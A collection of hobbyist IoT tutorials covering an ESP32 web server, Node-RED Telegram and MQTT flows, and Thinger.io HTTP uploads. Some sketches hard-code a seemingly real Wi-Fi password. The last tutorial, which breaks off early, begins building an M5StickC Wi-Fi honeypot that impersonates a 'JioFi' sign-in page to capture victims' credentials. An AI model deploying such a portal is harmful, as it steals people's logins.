your_PASSWORD with your actual Wi-Fi SSID and password. These credentials will be used to connect the ESP32 to your local Wi-Fi network. const char* ssid = "your_SSID"; const char* password = "your_PASSWORD"; Step 4: Setting Up the Web Server Now we can set up our web server. We’ll create an instance of the AsyncWebServer class and define a route. The server will listen on port 80, which is the default port for HTTP. The route is defined by the URL that the user types into their browser. In this case, the root URL (“/”) will return a simple text message. // Define a route to serve the HTML page server.on("/", HTTP_GET, [](AsyncWebServerRequest* request) { Serial.println("ESP32 Web Server: New request received:"); // for debugging Serial.println("GET /"); // for debugging request->send(200, "text/html", "<html><body><h1>Hello, ESP32!</h1></body></html>"); }); Step 5: Connecting to Wi-Fi Before we can start our web server, we need to connect the ESP32 to Wi-Fi. The WiFi.begin() function is used to connect to the Wi-Fi network. We then wait until the ESP32 is successfully connected before proceeding. WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(1000); Serial.println("Connecting to WiFi..."); } Serial.println(WiFi.localIP()); Step 6: Starting the Web Server Finally, we can start our web server. The server.begin() function is used to start the server. Once the server is started, it will listen for incoming HTTP requests and respond accordingly. server.begin(); Step 7: Deployment Just upload the code to the ESP32 board and look for the serial monitor results. #include <WiFi.h> #include <ESPAsyncWebServer.h> const char* ssid = "ELDRADO"; // CHANGE IT const char* password = "amazon123"; // CHANGE IT AsyncWebServer server(80); void setup() { Serial.begin(9600); // Connect to Wi-Fi WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(1000); Serial.println("Connecting to WiFi..."); } Serial.println("Connected to WiFi"); // Print the ESP32's IP address Serial.print("ESP32 Web Server's IP address: "); Serial.println(WiFi.localIP()); // Define a route to serve the HTML page server.on("/", HTTP_GET, [](AsyncWebServerRequest* request) { Serial.println("ESP32 Web Server: New request received:"); // for debugging Serial.println("GET /"); // for debugging request->send(200, "text/html", "<html><body><h1>Hello, ESP32!</h1></body></html>"); }); // Start the server server.begin(); } void loop() {} Here is the serial monitor result: Next, navigate to the particular IP address in the web browser and look for the response. Wrapping Up Congratulations! You’ve just implemented a simple web server on the ESP32. You can now access this server from any device connected to the same Wi-Fi network by entering the ESP32’s IP address into a web browser. This is just the beginning - you can expand this server to control GPIO pins, read sensor data, and much more. The possibilities are endless.
  14. Telegram is a popular messaging app that offers end-to-end encryption, cloud-based storage, and a variety of features for communication. One of these features is the ability to create and interact with bots, which are automated programs that can perform tasks or provide information. In this blog post, I will show you how to use Telegram bots to control your home automation system with Node-RED, a visual programming tool that allows you to connect and orchestrate devices, services, and APIs. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. 1. What You Need: To follow this tutorial, you will need: A Telegram account and a smartphone with the Telegram app installed. A Node-RED instance running on a device that can access your home automation system. You can use a Raspberry Pi, a computer, or a cloud service. For more information on how to install and run Node-RED, see here. The node-red-contrib-telegrambot node provides Telegram bot nodes for Node-RED. You can install it from the Node-RED palette manager or by running the following command in your Node-RED directory: npm install node-red-contrib-telegrambot A Telegram bot token is a unique identifier for your bot. You can create a bot and get its token by talking to the @BotFather bot on Telegram. For more details. A chat ID is a unique identifier for the chat between you and your bot. You can get your chat ID by sending a message to your bot. 2. How It Works: The basic idea is to use Node-RED to create a flow that receives messages from your Telegram bot, parses them to extract commands or queries, and then sends commands or responses back to your bot. The node-red-contrib-telegrambot node provides two main nodes for this purpose: the receiver node and the sender node. The receiver node listens for messages from your bot and outputs a message object with the following properties: msg.payload.chatId: The chat ID of the sender. msg.payload.type: The type of the message, such as “message”, “photo”, “location”, etc. msg.payload.content: The content of the message, such as a text string, a file ID, or an object with additional data. The sender node takes a message object as input and sends it to your bot. The message object should have the following properties: msg.payload.chatId: The chat ID of the recipient. msg.payload.type: The type of the message, such as “message”, “photo”, “location”, etc. msg.payload.content: The content of the message, such as a text string, a file ID, or an object with additional data. You can use other nodes in between the receiver and sender nodes to process the messages and perform actions on your home automation system. For example, you can use a switch node to route messages based on their type or content, a function node to write custom logic in JavaScript, or an HTTP request node to call external APIs. 3. A little recap of the previous blog: In the previous blog, we have seen how to use the telegram bot with node-red to trigger the temperature data. In this blog, we are going to see how to automate and trigger the Telegram bot to control the GPIO. 4. Telegram to Node-Red: In the last article, we have seen how to trigger the sensor readings from Node-Red to Telegram, now let's see how to trigger and get the sensor data from Telegram Bot. First, we need to use the telegram receiver node. And configure the node with your bot credentials. Then add a debug block. Next, just try to send some messages to your bot and look at the response in the debug console. Now, you can see your texts are coming under payload.content. So, we are going to filter the content then based on the content we are going to trigger the actions. Here are my complete blocks. In this, I have tried to filter the contents as Green, Red, Blue, Off, and Env. Based on the contents we are going to trigger the neo pixels with certain colors. Finally, just deploy the flow, open the telegram bot, and test out the connections. Let's try out the neo pixels. [ { "id": "eb8f9c0d054be30c", "type": "tab", "label": "Flow 2", "disabled": false, "info": "", "env": [] }, { "id": "ea63aa67.c972f", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"Temperature : {{payload}}, Humidity : {{humidity}}\"}", "output": "json", "x": 660, "y": 360, "wires": [ [ "9e00d0a7.d5ccf", "600063bd96d765e6" ] ] }, { "id": "9e00d0a7.d5ccf", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 830, "y": 300, "wires": [] }, { "id": "600063bd96d765e6", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 830, "y": 380, "wires": [ [], [] ] }, { "id": "f2f9819ae972ae60", "type": "rpi-dht22", "z": "eb8f9c0d054be30c", "name": "", "topic": "rpi-dht22", "dht": "11", "pintype": 1, "pin": "7", "x": 500, "y": 380, "wires": [ [ "ea63aa67.c972f" ] ] }, { "id": "e4b8f2dd860a7973", "type": "telegram receiver", "z": "eb8f9c0d054be30c", "name": "", "bot": "ae1a60539b8e5308", "saveDataDir": "", "filterCommands": false, "x": 290, "y": 200, "wires": [ [ "ea58984a24ea493e" ], [] ] }, { "id": "ea58984a24ea493e", "type": "switch", "z": "eb8f9c0d054be30c", "name": "", "property": "payload.content", "propertyType": "msg", "rules": [ { "t": "eq", "v": "Green", "vt": "str" }, { "t": "eq", "v": "Red", "vt": "str" }, { "t": "eq", "v": "Off", "vt": "str" }, { "t": "eq", "v": "Blue", "vt": "str" }, { "t": "eq", "v": "Env", "vt": "str" }, { "t": "eq", "v": "Rainbow", "vt": "str" } ], "checkall": "true", "repair": false, "outputs": 6, "x": 450, "y": 140, "wires": [ [ "b410ed94340bb528" ], [ "13aa73e421c429c7" ], [ "4ed36e19be451327" ], [ "db816a1f10392614" ], [ "f2f9819ae972ae60" ], [] ] }, { "id": "b0edb6e1c2807920", "type": "rpi-neopixels", "z": "eb8f9c0d054be30c", "name": "Neo Pixel", "gpio": "18", "pixels": "8", "bgnd": "", "fgnd": "", "wipe": "60", "mode": "pixels", "rgb": "rgb", "brightness": "100", "gamma": true, "x": 660, "y": 100, "wires": [] }, { "id": "13aa73e421c429c7", "type": "function", "z": "eb8f9c0d054be30c", "name": "Red Led", "func": "\nmsg.payload = \"255,0,0\"\nreturn msg;\n\n\n", "outputs": 1, "timeout": "", "noerr": 0, "initialize": "", "finalize": "", "libs": [], "x": 660, "y": 200, "wires": [ [ "b0edb6e1c2807920", "0d73aa1efdf96848" ] ] }, { "id": "b410ed94340bb528", "type": "function", "z": "eb8f9c0d054be30c", "name": "Green Led", "func": "\nmsg.payload = \"0,255,0\"\nreturn msg;\n\n\n", "outputs": 1, "timeout": "", "noerr": 0, "initialize": "", "finalize": "", "libs": [], "x": 670, "y": 160, "wires": [ [ "b0edb6e1c2807920", "c173db3cc3868fe8" ] ] }, { "id": "4ed36e19be451327", "type": "function", "z": "eb8f9c0d054be30c", "name": "Off", "func": "\nmsg.payload = \"0,0,0\"\nreturn msg;\n\n\n", "outputs": 1, "timeout": "", "noerr": 0, "initialize": "", "finalize": "", "libs": [], "x": 650, "y": 240, "wires": [ [ "b0edb6e1c2807920", "02e43d4dd4523371" ] ] }, { "id": "db816a1f10392614", "type": "function", "z": "eb8f9c0d054be30c", "name": "Blue Led", "func": "\nmsg.payload = \"0,0,255\"\nreturn msg;\n\n\n", "outputs": 1, "timeout": "", "noerr": 0, "initialize": "", "finalize": "", "libs": [], "x": 660, "y": 280, "wires": [ [ "b0edb6e1c2807920", "15dcd2ff9b951c47" ] ] }, { "id": "c173db3cc3868fe8", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"Green LED Triggered\"}", "output": "json", "x": 860, "y": 80, "wires": [ [ "62f3360544d9ca11", "4abe16519bcdcaca" ] ] }, { "id": "62f3360544d9ca11", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 1030, "y": 80, "wires": [] }, { "id": "4abe16519bcdcaca", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 1030, "y": 120, "wires": [ [], [] ] }, { "id": "0d73aa1efdf96848", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"Red LED Triggered\"}", "output": "json", "x": 860, "y": 120, "wires": [ [ "4795fb81ce5c47a6", "12c1a78b02583d94" ] ] }, { "id": "4795fb81ce5c47a6", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 1030, "y": 180, "wires": [] }, { "id": "12c1a78b02583d94", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 1030, "y": 220, "wires": [ [], [] ] }, { "id": "15dcd2ff9b951c47", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"Blue LED Triggered\"}", "output": "json", "x": 860, "y": 160, "wires": [ [ "751fda5416547778", "46ea1f39f11d1b65" ] ] }, { "id": "751fda5416547778", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 1030, "y": 280, "wires": [] }, { "id": "46ea1f39f11d1b65", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 1030, "y": 320, "wires": [ [], [] ] }, { "id": "02e43d4dd4523371", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"LED Off\"}", "output": "json", "x": 860, "y": 220, "wires": [ [ "e9aaa495e9c42799", "0730f1a37c585783" ] ] }, { "id": "e9aaa495e9c42799", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 1030, "y": 380, "wires": [] }, { "id": "0730f1a37c585783", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 1030, "y": 420, "wires": [ [], [] ] }, { "id": "e30abb1d7e9afcb0", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Green", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 280, "wires": [ [ "b410ed94340bb528" ] ] }, { "id": "4a2a01d9556ad50f", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Blue", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 360, "wires": [ [ "db816a1f10392614" ] ] }, { "id": "3f3ce5ea96251201", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Red", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 320, "wires": [ [ "13aa73e421c429c7" ] ] }, { "id": "3f2c1cebdde09f03", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Off", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 400, "wires": [ [ "4ed36e19be451327" ] ] }, { "id": "26b87a7af5f875cc", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Env", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 440, "wires": [ [ "f2f9819ae972ae60" ] ] }, { "id": "ae1a60539b8e5308", "type": "telegram bot", "botname": "roboerto_bot", "usernames": "", "chatids": "", "baseapiurl": "", "updatemode": "polling", "pollinterval": "300", "usesocks": false, "sockshost": "", "socksprotocol": "socks5", "socksport": "6667", "socksusername": "anonymous", "sockspassword": "", "bothost": "", "botpath": "", "localbotport": "8443", "publicbotport": "8443", "privatekey": "", "certificate": "", "useselfsignedcertificate": false, "sslterminated": false, "verboselogging": false } ] 5. Conclusion: In this blog post, I showed you how to use Telegram bots to control your home automation system with Node-RED. You can use this method to create your own custom interface for your smart home devices and services. You can also extend the functionality of your bot by adding more nodes and logic to your flow. For example, you can use the command node to create custom commands with parameters, the callback query node to handle inline buttons, or the answer inline query node to provide suggestions. You can also use other nodes from the node-red-contrib-telegrambot package or other Node-RED packages to integrate with more Telegram features or other platforms. I hope you enjoyed this tutorial and learned something new. If you have any questions or feedback, please leave a comment below. Happy coding!
  15. Introduction In this tutorial, you will learn how to use Node-RED, a visual programming tool for the Internet of Things (IoT), to control an LED on an ESP32 board with a Raspberry Pi as the MQTT broker. MQTT is a lightweight and simple messaging protocol that allows devices to communicate with each other over a network. You will need the following components for this project: ESP32 development board USB cable to connect the ESP32 to your computer Raspberry Pi with Node-RED Computer with Arduino IDE and PubSubClient library installed Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Step 1: Create a Device on Qubitro The first step is to create a device on the Qubitro platform. A device represents your physical device (Raspberry Pi) on the cloud. You need to create a device to obtain the MQTT credentials and topics for your Raspberry Pi. To create a device on Qubitro, follow these steps: 1. Log in to your Qubitro account and create a new project 2. Then go to the Devices page, select MQTT as the communication protocol, and click Next. 3. Enter all the details. 4. Copy the Device ID, Device Token, Hostname, Port, Publish Topic, and Subscribe Topic. You will need these values later in the code. Click Finish. You have successfully created a device on Qubitro. You can see your device on the Devices page. Step 2: Flash ESP32 with Arduino IDE The ESP32 is a powerful and versatile microcontroller that can run Arduino code. You will use the Arduino IDE to program the ESP32 and make it communicate with the MQTT broker using the PubSubClient library. To install the ESP32 board in Arduino IDE, you can follow the instructions in this tutorial or use the steps below: Open the preferences window from the Arduino IDE: File > Preferences. Go to the “Additional Board Manager URLs” field and enter the following URL: https://dl.espressif.com/dl/package_esp32_index.json. Open Boards Manager (Tools > Board > Boards Manager), search for ESP32, and click the install button for the “ESP32 by Espressif Systems”. Select your ESP32 board from Tools > Board menu after installation. Open the library manager from Sketch > Include Library > Manage Libraries. Search for PubSubClient and click the install button for the “PubSubClient by Nick O’Leary”. Restart your Arduino IDE after installation. Step 3: Connect LED to ESP32 The LED is a simple device that emits light when current flows through it. You will connect the LED to one of the GPIO pins of the ESP32 and control its state (on or off) with MQTT messages. In my case I'm going to use the onboard LED in the ESP32 Dev board. Step 4: Write Code for ESP32 The code for the ESP32 will do the following tasks: Connect to your Wi-Fi network Connect to the Qubitro MQTT broker on Raspberry Pi Receive messages from “output” and turn on or off the LED accordingly You can copy and paste the code below into your Arduino IDE. Make sure to replace <your_ssid>, <your_password>, <your_Qubtro_Credientials> with your own values. #include <WiFi.h> #define DEBUG_SW 1 #include <PubSubClient.h> //Relays for switching appliances #define Relay1 2 int switch_ON_Flag1_previous_I = 0; // Update these with values suitable for your network. const char* ssid = "ELDRADO"; const char* password = "amazon123"; const char* mqtt_server = "broker.qubitro.com"; // Local IP address of Raspberry Pi const char* username = ""; const char* pass = ""; // Subscribed Topics #define sub1 "output" WiFiClient espClient; PubSubClient client(espClient); unsigned long lastMsg = 0; #define MSG_BUFFER_SIZE (50) char msg[MSG_BUFFER_SIZE]; int value = 0; // Connecting to WiFi Router void setup_wifi() { delay(10); // We start by connecting to a WiFi network Serial.println(); Serial.print("Connecting to "); Serial.println(ssid); WiFi.mode(WIFI_STA); WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } randomSeed(micros()); Serial.println(""); Serial.println("WiFi connected"); Serial.println("IP address: "); Serial.println(WiFi.localIP()); } void callback(char* topic, byte* payload, unsigned int length) { Serial.print("Message arrived ["); Serial.print(topic); Serial.print("] "); if (strstr(topic, sub1)) { for (int i = 0; i < length; i++) { Serial.print((char)payload[i]); } Serial.println(); // Switch on the LED if an 1 was received as first character if ((char)payload[0] == 'f') { digitalWrite(Relay1, LOW); // Turn the LED on (Note that LOW is the voltage level // but actually the LED is on; this is because // it is active low on the ESP-01) } else { digitalWrite(Relay1, HIGH); // Turn the LED off by making the voltage HIGH } } else { Serial.println("unsubscribed topic"); } } // Connecting to MQTT broker void reconnect() { // Loop until we're reconnected while (!client.connected()) { Serial.print("Attempting MQTT connection..."); // Create a random client ID String clientId = "ESP8266Client-"; clientId += String(random(0xffff), HEX); // Attempt to connect if (client.connect(clientId.c_str() , username, pass)) { Serial.println("connected"); // Once connected, publish an announcement... client.publish("outTopic", "hello world"); // ... and resubscribe client.subscribe(sub1); } else { Serial.print("failed, rc="); Serial.print(client.state()); Serial.println(" try again in 5 seconds"); // Wait 5 seconds before retrying delay(5000); } } } void setup() { pinMode(Relay1, OUTPUT); Serial.begin(115200); setup_wifi(); client.setServer(mqtt_server, 1883); client.setCallback(callback); } void loop() { if (!client.connected()) { reconnect(); } client. Loop(); } After writing the code, upload it to your ESP32 board by selecting the right board and port from the Tools menu and clicking the upload button. Step 5: Create Node-RED Flow The Node-RED flow will do the following tasks: Connect to the MQTT broker on Raspberry Pi Subscribe to a topic named “output” Publish messages “true” or “false” to a topic named “output” Create a dashboard with a button and a text node You can create the Node-RED flow by dragging and dropping nodes from the palette and connecting them with wires. You can also import the flow from this link or use the JSON code below: [ { "id": "eb8f9c0d054be30c", "type": "tab", "label": "Flow 2", "disabled": false, "info": "", "env": [] }, { "id": "4ce6cd876fd5441f", "type": "mqtt out", "z": "eb8f9c0d054be30c", "name": "", "topic": "output", "qos": "", "retain": "", "respTopic": "", "contentType": "", "userProps": "", "correl": "", "expiry": "", "broker": "6d40b7b21c734b53", "x": 870, "y": 240, "wires": [] }, { "id": "974a7a8bb6db9bf9", "type": "mqtt in", "z": "eb8f9c0d054be30c", "name": "", "topic": "output", "qos": "2", "datatype": "auto-detect", "broker": "6d40b7b21c734b53", "nl": false, "rap": true, "rh": 0, "inputs": 0, "x": 670, "y": 320, "wires": [ [ "d0dc7378c7bfb03b", "f1219a2eeabe825f" ] ] }, { "id": "d0dc7378c7bfb03b", "type": "debug", "z": "eb8f9c0d054be30c", "name": "debug 4", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 880, "y": 320, "wires": [] }, { "id": "6bd227b280e372b7", "type": "ui_switch", "z": "eb8f9c0d054be30c", "name": "", "label": "Light One", "tooltip": "", "group": "cd687a95.00e108", "order": 0, "width": 0, "height": 0, "passthru": true, "decouple": "false", "topic": "topic", "topicType": "msg", "style": "", "onvalue": "true", "onvalueType": "bool", "onicon": "", "oncolor": "", "offvalue": "false", "offvalueType": "bool", "officon": "", "offcolor": "", "animate": false, "x": 680, "y": 240, "wires": [ [ "4ce6cd876fd5441f" ] ] }, { "id": "f1219a2eeabe825f", "type": "ui_text", "z": "eb8f9c0d054be30c", "group": "cd687a95.00e108", "order": 1, "width": "6", "height": "2", "name": "", "label": "Status : ", "format": "{{msg.payload}}", "layout": "row-center", "x": 1060, "y": 320, "wires": [] }, { "id": "6d40b7b21c734b53", "type": "mqtt-broker", "name": "Qubitro Downlink", "broker": "broker.qubitro.com", "port": "1883", "clientid": "", "autoConnect": true, "usetls": false, "protocolVersion": "4", "keepalive": "60", "cleansession": true, "autoUnsubscribe": true, "birthTopic": "r43MsJYzcVwZtUXVfZo6XD0Ym7CRegewPQXMt$ho", "birthQos": "0", "birthPayload": "", "birthMsg": {}, "closeTopic": "", "closeQos": "0", "closePayload": "", "closeMsg": {}, "willTopic": "", "willQos": "0", "willPayload": "", "willMsg": {}, "userProps": "", "sessionExpiry": "" }, { "id": "cd687a95.00e108", "type": "ui_group", "name": "ESP32 Home Controller", "tab": "aa146f4d.b53ca", "order": 1, "disp": true, "width": "6", "collapse": false }, { "id": "aa146f4d.b53ca", "type": "ui_tab", "name": "Demo Lab", "icon": "dashboard", "order": 1, "disabled": false, "hidden": false } ] The input switch will send "true" when it is on, and it will send "false" when it triggers off. Then click on the Qubitro uplink pallet and edit the property. Here you need to replace your connection details and credentials. Next, just deploy the flow. And navigate to the /ui of the node-red server. Here you can toggle the switch to turn the lead on and off. Also, open the serial monitor and check the node-red response. Conclusion: In this tutorial, we have seen how to control the LED with Node-Red and MQTT Server.
  16. About the project Monitor your HTTP Device on Thinger. io Platform. Easy Documentation to start in seconds. Items used in this project Hardware components Espressif ESP32 Development Board - Developer Edition Software apps and online services Thinger.io What is Thinger.io? Thinger.io is a cloud IoT Platform that provides every needed tool to prototype, scale, and manage connected products in a very simple way. They target to democratize the use of IoT making it accessible to the whole world, and streamlining the development of big IoT projects. Free IoT platform: Thinger.io provides a lifetime freemium account with only a few limitations to start learning and prototyping when your product becomes ready to scale, you can deploy a Premium Server with full capacities within minutes. Simple but Powerful: Just a couple of code lines to connect a device and start retrieving data or controlling its functionalities with our web-based Console, able to connect and manage thousands of devices in a simple way. Hardware agnostic: Any device from any manufacturer can be easily integrated with Thinger.io's infrastructure. Extremely scalable & efficient infrastructure: A single Thinger.io instance is able to manage thousands of IoT devices with low computational load, bandwidth, and latencies. Open-Source: Most platform modules, libraries, and APP source code are available in our Github repository to be downloaded and modified with an MIT license. Custom PCB on your Way! Modern methods of developing, got easier with software services. For hardware services, we have limited options. Hence PCBWay gives the opportunity to get custom PCB manufactured for hobby projects as well as sample pieces, in very less delivery time Get discount on the first order of 10 PCB Boards. Now, PCBWay also offers end-to-end options for our products including hardware enclosures. So, if you design PCBs, get it printed in a few steps! Features of Thinger.io This IoT Platform provides even more features that are fully customizable and allows IoT connectivity on different protocols, so as to provide customized data in whatever form we need on the Dashboard. Connect devices: Fully compatible with every kind of device, no matter the processor, the network, or the manufacturer. Thinger.io allows the creation of, bidirectional communications with Linux, Arduino, Raspberry Pi, or MQTT devices and even with edge technologies like Sigfox or LoRaWAN or other internet API data resources. Store Device Data: Create a Data Bucket a store IoT data in a scalable, efficient, and affordable way, that also allows real-time data aggregation. Display Real-time or Stored Data in multiple widgets such as time series, donut charts, gauges, or even custom-made representations to create awesome dashboards within minutes. Trigger events and data values using an embedded Node-RED rule engine. Extend with custom features with multiple plugins to integrate IoT projects into any third-party Internet service and allow introducing your branding colors, logotypes, and web domain. Getting Started Let us get started on using the platform, from creating an account. This method would work for most of the free IoT platforms and is very basic to get started. Go to the Thinger.io website (https://thinger.io/) and click on the "Get Started" button. You will be redirected to the login page. There, click on "Create an Account" and sign up with details like username, email, password, and sector. Under the sector category, the best way to get started would be choosing the 'Maker', so that we can use it for our personal projects too. Once, we have created the account, we can log in from https://console.thinger.io/login. However, we shall automatically be logged in to our account. Add a Device Once we log in, and the Statistics panel opens, we can head to the Devices section and click on Add a Device. From there, provide the details - Device Type - Choice between IoTMP / HTTP / MQTT / NB-IoT. We chose HTTP to continue this article Device ID - We can keep any name, but preferably the device we are using, to be mentioned here - 'ESP32' Device Name - Keep anything, but we kept it as 'ESP32_SCHOOLOFIOT' Device Description - Mention in a single line its function use, like "ESP32 Device for Hackster.io" Once the Device is created, we'd be able to view the status tab of the device. It is the dashboard with device-specific details and provides insight on the condition of it. Let us move ahead now. Device Property - Devices All the data, from so many resources and groups that accumulate through the platform needs to have a property, which we can use to identify and use it for storage of current data - Not historical. To create properties, visit Devices > Properties > Add Property. Once the identifier is entered, enter the property value in the form of JSON for payload data, and some other format (or even JSON) for response of data upon called. I have created a device property to respond with 1 when request is successful. Notice that the value of BME data is in JSON object format, this allows us to store and utilize the same device property to store multiple data with a single call. Dashboards - Data Monitoring When monitoring end devices, or controlling them, we need an interface to monitor all those device data, and visualize according to the type of data. For example, if we are monitoring the climate or surroundings of a device, using sensors to detect temperature and humidity, we'd need a time-series graph. Add a new Dashboard, and give a name to that - Once the dashboard is created, open the blank dashboard, and on the top right corner, click on 'Edit' button, which will reveal other options. From here, click on 'Add Widget'. Enter the configurations according to your requirement, based on the payload data. Once all the widgets have been created, we can view the graph in it's default value as per device property. CallBack Function To be able to make an HTTP Request, we need the endpoint and a sample of the payload, that the Platform's backend would receive so as to display on the dashboard. To view details on the callback, search for the callback tab (current version - top right corner dropdown) Now open settings and select the Device Property we created. Enter the details provided below. Click on 'Save' to make sure the end point of the server is ready to receive data. For testing, I used an API testing tool 'ThunderClient', and noticed that it worked great. After a few different data on the content, we could see the variations in the time series graph. Now, let us move to our ESP32 Dev Board hardware, and code it. Code Changes Visit Code Section and Download the Code. Below are the variables that need to be changed in the shared code - const char* ssid = " "; const char* password = " "; String serverName = "https://backend.thinger.io/v3/users/<yourusername>/devices/<devicename>/callback/data"; const char* token = "Bearer <token>"; Add the SSID and Password of your wifi network. Then enter the server URL and Authentication as per your callback overview. After pushing the data, from ESP32 Dev Board, thingerIoUsingHttpclientArduinojsonLibrary.ino thingerIoUsingHttpclientArduinojsonLibrary.ino
  17. Will guide you to build a Captive Portal with M5Stick C to capture the login details. Story A Wi-Fi honeypot is a fake wireless network that is set up to lure unsuspecting users and collect their data or infect their devices with malware. It is a common technique used by hackers and cybercriminals to exploit the public’s demand for free Wi-Fi access. In this tutorial, will guide you to build a Wi-Fi honeypot with M5Stick C. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Hardware Overview - M5Stick 😄 M5StickC is a mini IoT development board powered by ESP32, a microcontroller with Wi-Fi and Bluetooth capabilities. It is a portable, easy-to-use, open-source device that can help you realize your ideas, enhance your creativity, and speed up your IoT prototyping. It has a 0.96-inch TFT color screen, a red LED, a button, a microphone, an IR transmitter, a 6-axis IMU, and a 95 mAh battery. It also supports various extensions and modules that can add more functionality to the board. You can program it using different platforms such as UIFlow, MicroPython, Arduino, or .NET nano Framework. Arduino Sketch Overview: Here is the complete Arduino sketch to initiate the Wi-Fi honeypot in the M5Stick C, it will create a free access point and once the user is connected to the access point it will ask for the user credentials. Once we get the credentials it will blink the LED and alert us. Also, we can view the captured passwords via the same access point. Here are the main Wi-Fi AP configurations, you can configure as per your need. Once the victim logged the credentials, this function will start to work. Here is the complete Arduino sketch. #include <M5StickC.h> #include <WiFi.h> #include <DNSServer.h> #include <WebServer.h> // User configuration #define SSID_NAME "JioFi L3M378" #define SUBTITLE "JioFi WiFi service." #define TITLE "Sign in:" #define BODY "Create an account to get connected to the internet." #define POST_TITLE "Validating..." #define POST_BODY "Your account is being validated. Please, wait up to 5 minutes for device connection.</br>Thank you." #define PASS_TITLE "Credentials" #define CLEAR_TITLE "Cleared" int capcount=0; int BUILTIN_LED = 10; // Init System Settings const byte HTTP_CODE = 200; const byte DNS_PORT = 53; const byte TICK_TIMER = 1000; IPAddress APIP(172, 0, 0, 1); // Gateway String Credentials = ""; unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0; 